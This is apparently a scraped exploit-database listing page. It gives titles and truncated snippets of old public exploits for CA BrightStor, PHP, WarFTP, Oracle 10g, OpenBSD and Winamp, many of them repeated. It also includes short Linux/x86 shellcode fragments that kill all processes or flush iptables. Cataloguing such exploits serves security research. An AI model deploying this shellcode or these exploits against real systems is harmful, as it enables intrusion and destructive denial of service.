CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow

CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow !/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflo...

PHP <= 4.4.6 / 5.2.1 array_user_key_compare() ZVAL dtor Local Exploit

Exploit for linux platform in category local exploits ===================================================================== PHP = 4.4.6 / 5.2.1 arrayuserkeycompare ZVAL dtor Local Exploit ===================================================================== ?php...

PHP 4.4.65.2.1 - array_user_key_compare() ZVAL dtor Local Overflow

PHP 4.4.65.2.1 - arrayuserkeycompare ZVAL dtor Local Overflow ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code...

CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow

!/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflow vulnerability as described in LS-20060330.pdf on...

OpenBSD ICMPv6 Fragment Remote Execution Exploit PoC

No description provided by source. The PoC executes the shellcode int 3 and returns. It overwrites the extfree function pointer on the mbuf and forces a mfreem on the overflowed packet. The Impacket library is used to craft and send packets http://oss.coresecurity.com/projects/impacket.html or...

WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)

No description provided by source. !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside VMware. A trivially exploitable stack overflow is present in WarFTP which can be triggered by sending a long username 480 bytes along with the USER...

WarFTP 1.65 (Windows 2000 SP4) - USER Remote Buffer Overflow (Perl)

WarFTP 1.65 Windows 2000 SP4 - USER Remote Buffer Overflow Perl =============================================================================================== WarFTP 1.65 USER Remote Buffer Overflow SEH overflow Exploit By Umesh Wanve...

WarFTP 1.65 (USER) Remote Buffer Overflow SEH Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================== WarFTP 1.65 USER Remote Buffer Overflow SEH Overflow Exploit ==============================================================...

PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit

Exploit for linux platform in category local exploits ======================================================= PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit ======================================================= ?php //////////////////////////////////////////////////////////////////////...

WarFTP 1.65 (Windows 2000 SP4) - USER Remote Buffer Overflow (Python)

WarFTP 1.65 Windows 2000 SP4 - USER Remote Buffer Overflow Python !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside VMware. A trivially exploitable stack overflow is present in WarFTP which can be triggered by sending a long username 480 bytes along with th...

WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)

Exploit for unknown platform in category remote exploits ============================================================= WarFTP 1.65 USER Remote Buffer Overflow Exploit win2k SP4 ============================================================= !/usr/bin/python Remote exploit for WarFTP 1.65. Tested on...

PHP 5.2.0 (OSX) - EXTFilter Space Trimming Buffer Underflow

PHP 5.2.0 OSX - EXTFilter Space Trimming Buffer Underflow ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from...

Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)

Exploit for unknown platform in category local exploits ================================================================= Oracle 10g PROCESSDUPHANDLE Local Privilege Elevation win32 ================================================================= // Argeniss - Information Security // // Oracle...

Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)

No description provided by source. // Argeniss - Information Security // // Oracle Database local elevation of privileges PoC exploit // // Author: Cesar Cerrudo include windows.h include stdio.h BOOL InjectShellcodeDWORD oldEIP,CHAR oSID HMODULE hKernel; FARPROC pCreateProc; LPSTR...

Oracle 10g (Windows x86) - 'PROCESS_DUP_HANDLE' Local Privilege Escalation

// Argeniss - Information Security // // Oracle Database local elevation of privileges PoC exploit // // Author: Cesar Cerrudo include include BOOL InjectShellcodeDWORD oldEIP,CHAR oSID HMODULE hKernel; FARPROC pCreateProc; LPSTR sCommand="cmd.exe"; DWORD dwStrLen; CHAR buff100;...

linux/x86 - kill all processes 11 bytes

linux/x86 kill all processes 11 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char...

winamp512-overflow.txt

!/usr/bin/perl -w =============================================================================================== Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit By Umesh Wanve [email protected]...

linux/x86 /sbin/iptables -F 40 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 /sbin/iptables -F 40 bytes ==================================== / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush iptables for Linux x86 section .text global start start: ;...

linux/x86 kill all processes 11 bytes

No description provided by source. / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1, SIGKILL push byte 37 pop eax push byte -1 pop ebx push byte 9 pop ecx int 0x80 / main char shellcode =...

linux/x86 kill all processes 11 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 kill all processes 11 bytes ===================================== / By Kris Katterjohn 11/13/2006 11 byte shellcode to kill all processes for Linux/x86 section .text global start start: ; kill-1,...